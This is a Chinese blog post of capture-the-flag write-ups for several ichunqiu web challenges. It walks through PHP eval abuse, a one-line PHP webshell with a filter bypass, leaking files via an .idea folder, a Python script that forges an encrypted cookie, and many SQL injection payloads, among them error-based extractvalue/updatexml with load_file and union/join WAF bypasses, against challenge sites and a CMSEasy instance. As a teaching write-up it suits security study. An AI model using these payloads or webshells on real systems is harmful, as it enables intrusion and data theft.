b1cat`s

ichunqiu 上web题writeup(持续更新)

Word count: 4kReading time: 20 min
2018/04/20

ichunqiu 上web题writeup,题目按分值从小到大排序

爆破

1
2
3
4
5
6
7
8
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

题目:flag为6位

爆破emm居然信了去写脚本爆破

然后回头看了Wp说直接传递GLOBALS到$a 接着打印超全局变量 $GLOBALS 就ok ( too simple too young )

1
array(9) { ["_GET"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["_REQUEST"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } ["flag"]=> string(38) "flag在一个长度为6的变量里面" ["d3f0f8"]=> string(42) "flag{7879762c-8a32-4c49-87b0-c2f37a5f6209}" ["a"]=> string(7) "GLOBALS" ["GLOBALS"]=> *RECURSION* }

爆破-2

1
2
3
4
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

题目:flag 不在变量里

这里$$a 变成了$a, 不能读取全局变量,flag 在$a里只能是读文件了。

file(‘flag.php’)

1
array(3) { [0]=> string(6) " string(32) "$flag = 'Too Young Too Simple'; " [2]=> string(45) "#flag{12d9939c-7ce7-4cc1-b750-504a135f69a7}; " } 

| file() , file_get_contents() 把文件读入一个字符串

爆破-3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}

if($_SESSION['nums']>=10){
echo $flag;
}

show_source(__FILE__);
?>

题目:真的是爆破

分析

传入的值value 的前两项要和session[‘whoami’] 相等,截取md5($value)后为0

num+1,新的session[‘whoami’] 生成后打印出来

故$value以数组形式提交新值( 第一次$value[]=ea, MD5数组为flase 可绕过判断)

当num> 10 后打印flag

10次可以写个脚本,也可以手动复制粘贴

##想怎么传就怎么传,就是这么任性。

tips:flag在flag.php中

那就上传一个一句话<?php eval($_POST['a']);

返回页面,访问发现输出了eval($_POST['a']);

猜测可能过滤了<? php

再次上传<script language=pHp>@eval($_POST['a'])</script>

访问一句话 获取shell 在/var/www/html/flag.php 获取flag

顺便看了看index.php 中的过滤

1
2
while($next = preg_replace("/<\\?/", "", $data)){
$next = preg_replace("/php/", "", $next);

| 看WP是fopen打开flag.php 输出到当前文件里

##考脑洞,你能过么?

返回一张图片 查看源代码file:hei.jpg 猜测可能是file读取文件

?jpg=index.php 返回base64编码后的index.php源码

  • index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*
* Can you find the flag file?
*
*/

?>

尝试跨目录读取flag.php 无果

这里有个隐藏条件 Created by PhpStorm. 得知有idea隐藏文件夹

.idea/workspace.xml 里面含有文件目录信息

访问 /.idea/workspace.xml 可得有两个文件存在f13g_ichunqiu.php ,config.php

猜测flag 在config.php

由index.php 可知config会被替换为_ ,同时_被替换为空

所以通过访问 f13gconfigichuqniu.php 来访问f13g_ichunqiu.php

返回一个Set-Cookie: user=RmN5ShdGChhI

猜测可能需要提交类似user=admin的cookie

?jpg=f13g_ichunqiu.php读一下源码

  • fl3g_ichunqiu.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}

function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$rnd=random(4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);

$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "╮(╯▽╰)╭";
}
?>

wow ,好长的代码

自定义了加解密函数和秘钥去设置Cookie 如果包含system则返回flag

加密函数:

对字符串置换与添加了4个随机字符的key进行异或

获取flag思路

1
2
3
1. 由置换后guest与cookie除去前4位异或获取MD5后的前5位key
2. 由system+key+1位爆破 反推cookie
3. 获取flag

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*
import requests
import base64
import string

url="http://fdb09252330c4580b0d9a36bca00562ac9f3773c00274287.game.ichunqiu.com/fl3g_ichuqiu.php"

cookie = requests.get(url).cookies['user']

txt = base64.b64decode(cookie)

rnd = txt[:4] # 获取随机的字符串
cstr = txt[4:] # guest与key异或处理的字符串

guest = list("guest");
key = list('xxxxxx')

for i in range(len(guest)):
guest[i] = chr(ord(guest[i])+10) # 对guest置换

for i in range(len(guest)):
key[i] = chr(ord(guest[i])^ord(cstr[i])) # guest与cookie除去前4位异或得到key

system = list("system")
for x in range(len(system)):
system[x] = chr(ord(system[x])+10) # 对system置换

letter = "1234567890qwertyuiopasdfghjklzxcvbnm"

for ch in letter:
key[5] = ch # 添加第六位key
sstr = newsc = ''

for x in range(len(system)):
sstr += chr(ord(system[x])^ord(key[x])) # 获取system与key异或字符串

newc = rnd+sstr # 随机字符串+system异或处理后

print(base64.b64encode(newc))

得到一些Cookie添加到 burp intruder 爆破得到flag

YeaseCMS

新的CMS系统,帮忙测测是否有漏洞。

| tips:flag在网站根目录下的flag.php中

老规矩:

  1. 第一步,肯定是要判断出cms类型
  2. 第二步,查询该cms曾经出现的漏洞
  3. 第三步,然后利用这些漏洞拿到flag.
  • cms 类型

复制一些标题去搜索 出现一片power by cmseasy

  • 漏洞

有个经典的洞sql注入可获取admin的密码 https://wooyun.shuimugan.com/bug/view?bug_no=137013

http://cdc5de2889fb435d9a32aed6549e4ea4b05b165056c94414.game.ichunqiu.com/celive/live/header.php

POST数据(利用updatexml报错)

1
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520yesercms_user%2529%252C20%252C64%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>

ff512d4240cbbdeafada404677ccbe61 md5解密=> Yeser231

admin 地址

index.php?case=admin&act=login&admin_dir=admin&site=default

  • 拿flag

通常进入后台查找上传点,更改配置文件 获取webshell

遍历访问了后台功能 发现没有上传点,配置文件不能成功连接

有个地方模版编辑页面

/index.php?case=template&act=fetch&admin_dir=admin&site=default

通过访问文件加载模板

有参数&id=#ditu_html更改为&id=../../flag.php即可getflag


XSS平台

| 后台有获取flag的线索

X进后台?注入密码?

胡乱提交一些字符,都返回flase

抓个包,发现提交email[]=1报错

显示有/var/www/html/rtiny/login.py

果断搜索一波 github上有个xss平台的轮子 https://github.com/r0ker/Rtiny-xss

审计一番 login注入失败

  • rtiny/lock.py存在注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def post(self):
self.set_header("Content-Type", "text/plain")
if True not in [f in self.get_argument("email") for f in sql]:
row = db.ct(
"manager",
"*", "username='"+self.get_argument("email")+"' and password='" + md5(self.get_argument('pass'))+"'")
if row:
self.set_secure_cookie("username", row['username'])
self.set_secure_cookie("password", row['password'])
self.write("true")

else:
self.write("false")
else:
self.write("false")
  • py 本地模拟生成cookie

    | “cookie_secret” 来源于index.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.ioloop
import tornado.web

settings = {
"cookie_secret": "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
}

class MainHandler(tornado.web.RequestHandler):
def get(self):
self.write("hello word")
self.set_secure_cookie('username',"'and extractvalue(1,concat(0x5c,(select password from manager limit 0,1)))-- ")
def make_app():
return tornado.web.Application([
(r'/',MainHandler),
],**settings)

if __name__ == "__main__":
app = make_app()
app.listen(8855)

tornado.ioloop.IOLoop.current().start()

  • py报错注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests 

url1 = "http://127.0.0.1:8855"
cookie = requests.get(url1).cookies['username']
cookie = "username="+cookie
print(cookie)

url2 = "http://8c74580a0882443cb667f6e10b8b01d81f5b499723754efa.game.ichunqiu.com/lock"

data = "password=12345"

headers = {"Cookie":cookie}

res = requests.post(url2,data=data,headers=headers)

print(res.text)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
username="2|1:0|10:1523252402|8:username|76:J2FuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg1Yywoc2VsZWN0IHZlcnNpb24oKSkpKS0tIA==|aa6099fbe7bd96737bfeb5738b859581f27e47a82f2d5c9f3a8073abc6162653"  // select version()

// OperationalError: (1105, "XPATH syntax error: '\5.5.50-cll-lve'")

username="2|1:0|10:1523252892|8:username|96:J2FuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg1Yywoc2VsZWN0ICogZnJvbSBtYW5hZ2VyIGxpbWl0IDAsMSkpKS0tIA==|c00dc32f88b563f18a06e52dc4276a9ef5d2b4b6cf94d605e91f19c34b9f0b64" // select * from manager

// OperationalError: (1241, 'Operand should contain 1 column(s)')

username="2|1:0|10:1523253492|8:username|104:J2FuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg1Yywoc2VsZWN0IHVzZXJuYW1lIGZyb20gbWFuYWdlciBsaW1pdCAwLDEpKSktLSA=|5c43c42ba85c6a4a6e01a8c394f25ccb015dcb5eb94039945717df49f828e45a"

// 得到用户名 ichuqiu

username="2|1:0|10:1523253625|8:username|104:J2FuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg1Yywoc2VsZWN0IHBhc3N3b3JkIGZyb20gbWFuYWdlciBsaW1pdCAwLDEpKSktLSA=|433fa97ed7bd5229a43a1b510f61b900c2ba5814d11f549fe514021ad8967443"

// 318a61264482e503090facfc4337207 (md5加密只有31位)

username=2|1:0|10:1523271553|8:username|128:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHN1YnN0cmluZygoc2VsZWN0IHBhc3N3b3JkIGZyb20gbWFuYWdlciBsaW1pdCAwLDEpLDIsMzIpKSkpLS0g|12d9da9ce080731ac9ac8a5f085a11bfb269ad8f8fa248fe6a6eb759564af8dc

// 18a61264482e503090facfc4337207f
//得到密码 318a61264482e503090facfc4337207f => Myxss623

  • 寻找flag

| 提交ichunqiu / Myxss623 登录 n次失败,以为密码错误重来了好多次但没错啊,登录地方不对?/admin试下

| 最后发现ichuqiu 不是 ichunqiu ( Emmmmm 怪我太多情)

进到后台file下 f13g_ls_here.txt file index.py rtiny themes

通过sql那 **load_file()**读文件

Payload: ' and extractvalue(1,concat(0x5c,(load_file(0x2f7661722f7777772f68746d6c2f663133675f6c735f686572652e747874))))--

​ flag{72c6d9bd-ea6b-4421-a2ac-3e

Payload :' and extractvalue(1,concat(0x5c,(substr((load_file(0x2f7661722f7777772f68746d6c2f663133675f6c735f686572652e747874)),20,64))))--

​ 4421-a2ac-3ef026fc99ed}

  • 总结:
    • 对参数进行增 删 改 -> 暴露目标更多信息
    • 对代码审计寻找漏洞
    • sql注入姿势
    • 猜测flag文件位置
    • 读写文件姿势

2. 再见CMS

| /var/www/html/flag.php

Payload: old_password=admin&truename=xxxx%0000&Limitword[000]=&email=admin@123.com&provinceid=,address=(load_file(0x2f7661722f7777772f68746d6c2f666c61672e706870)) where uid=3%23

查看源代码获取flag

1
2
3
4
5
                <td>联系电话:</td>
<td>联系地址:<?php
echo 'flag is here';
'flag{e93cba91-2185-46b5-9f0e-5e8d7e68f97b}';
</td>
  • 总结
    • 乌云是个好地方 。
    • 渗透测试讲究一个猥琐

3.SQL注入

过滤字符 :select ,order,

替换字符:<> 为空,< 为空

  • sql注入

    • ?id=-1+union+selec<>t+null,version(),null

      => 5.5.50-0ubuntu0.14.04.1

    • ?id=-1+union+se<>lect+null,table_name,null+from+information_schema.tables+where+table_schema=(sel<>ect+database())

      =>info

    • ?id=-1+union+se<>lect+null,column_name,null+from+information_schema.columns+where+table_schema=(sel<>ect+database())

      =>id,title,flAg_T5ZNdrm

    • id=-1+union+se<>lect+null,concat_ws(0x20,id,title,flAg_T5ZNdrm),null+from+info+limit+0,1

      =>1 flag{在数据库中} flag{e65fe2c6-6e37-4934-9411-1d61390b86eb}

  • 总结:

    • 提交大量字符测试过滤/替换了哪些符号

      1
      ,./<>?;':"[]{}\|!@#$%^&*(_+`~)

4.sqli

  • 入口

    点击题目跳转到 /b68a89d1c4a097a9d8631b3ac45e8979.php 查看源代码

    访问/login.php 尝试注入 试了半天没反应(有反应才怪!)

    没想到这是出题人设的一个坑

    burp抓包重放下 发现

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    HTTP/1.1 302 Found
    Server: nginx/1.10.2
    Date: Thu, 12 Apr 2018 11:51:18 GMT
    Content-Type: text/html
    Content-Length: 57
    Connection: close
    X-Powered-By: PHP/5.5.9-1ubuntu4.19
    page: l0gin.php?id=1
    location: ./b68a89d1c4a097a9d8631b3ac45e8979.php

    <html>
    <head><title>Loading...</title></head>
    </html>

    然后访问 /l0gin.php?id=1 这才是真的地址

  • 测试waf

    • 迷惑的字段返回值:

      有时返回id和username,有时返回id全部字符

      原因:如果查询成功则返回查询结果,查询失败则返回过滤后id字符

    • 有时提交如?id=1adad!@$%^*(_+-)也可以返回查询结果

    ​ 猜测原因用了类似 intval($id) 操作

    • 添加一个单引号只返回了字段

      同时检测出 , #后字段被过滤为空

      ?id=3adad#@$%^*(_+-) => 3adad

      ?id=3adad<>?,.[]| => 3adad<>?

    • 猜测SQL语句为

      select * from info where id=intval($_GET['id'])

  • 注入

    • 绕过

      ?id=1' and '2' %23 => 返回正常

      单引号不能通过url编码绕过

      • 通过搜索有两种方法绕过

        • JOIN 连接

          ?id=11' union select * from ((select database())a join (select version()) b)%23

          • JOIN 按照功能大致分为如下三类:

            • INNER JOIN(内连接,或等值连接):获取两个表中字段匹配关系的记录。

              img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
- **LEFT JOIN(左连接):**获取左表所有记录,即使右表没有对应匹配的记录。

![img](http://www.runoob.com/wp-content/uploads/2014/03/img_leftjoin.gif)

- **RIGHT JOIN(右连接):** 与 LEFT JOIN 相反,用于获取右表所有记录,即使左表没有对应匹配的记录。

![img](http://www.runoob.com/wp-content/uploads/2014/03/img_rightjoin.gif)

- 查询操作

```sql
mysql> select * from test1;
+------+----------+
| id | username |
+------+----------+
| 1 | test |
| 2 | test2 |
| 3 | test2 |
+------+----------+
3 rows in set (0.00 sec)

mysql> select * from test2;
+----------+------+
| username | num |
+----------+------+
| test2 | 21 |
| test2 | 23 |
| test4 | 21 |
| test2 | 23 |
+----------+------+
4 rows in set (0.00 sec)
mysql> select a.id,a.username,b.num from test1 a INNER JOIN test2 b on a.username=b.username;
# inner 可省略
+------+----------+------+
| id | username | num |
+------+----------+------+
| 2 | test2 | 21 |
| 3 | test2 | 21 |
| 2 | test2 | 23 |
| 3 | test2 | 23 |
| 2 | test2 | 23 |
| 3 | test2 | 23 |
+------+----------+------+
6 rows in set (0.01 sec)

mysql> select a.id,a.username,b.num from test1 a LEFT JOIN test2 b on a.username=b.username;
+------+----------+------+
| id | username | num |
+------+----------+------+
| 2 | test2 | 21 |
| 3 | test2 | 21 |
| 2 | test2 | 23 |
| 3 | test2 | 23 |
| 2 | test2 | 23 |
| 3 | test2 | 23 |
| 1 | test | NULL |
+------+----------+------+
7 rows in set (0.00 sec)

mysql> select a.id,a.username,b.num from test1 a RIGHT JOIN test2 b on a.username=b.username;
+------+----------+------+
| id | username | num |
+------+----------+------+
| 2 | test2 | 21 |
| 2 | test2 | 23 |
| 2 | test2 | 23 |
| 3 | test2 | 21 |
| 3 | test2 | 23 |
| 3 | test2 | 23 |
| NULL | NULL | 21 |
+------+----------+------+
7 rows in set (0.00 sec)
  • 截断

    1
    2
    select substring((select user()) from 1 for 1);  #第一种方法
    select substring((select user()) from -1); #第二种方法
    • getflag
    1
    2
    3
    4
    5
    6
    7
    8
    9
    ​```
    ?id=-1' union select * from (select version()) a join (select table_name from information_schema.tables where table_schema=(select database()) ) b %23
    # 5.5.50-0ubuntu0.14.04.1 users

    ?id=-1' union select * from (select version()) a join (select group_concat(column_name) from information_schema.columns where table_schema=(select database()) ) b %23
    # 5.5.50-0ubuntu0.14.04.1 id,username,flag_9c861b688330

    ?id=-1' union select * from (select version()) a join (select flag_9c861b688330 from users ) b %23
    # getflag

CATALOG
  1. 1. 爆破
  2. 2. 爆破-2
  3. 3. 爆破-3
  4. 4. YeaseCMS
  5. 5. XSS平台
  6. 6. 2. 再见CMS
  7. 7. 3.SQL注入
  8. 8. 4.sqli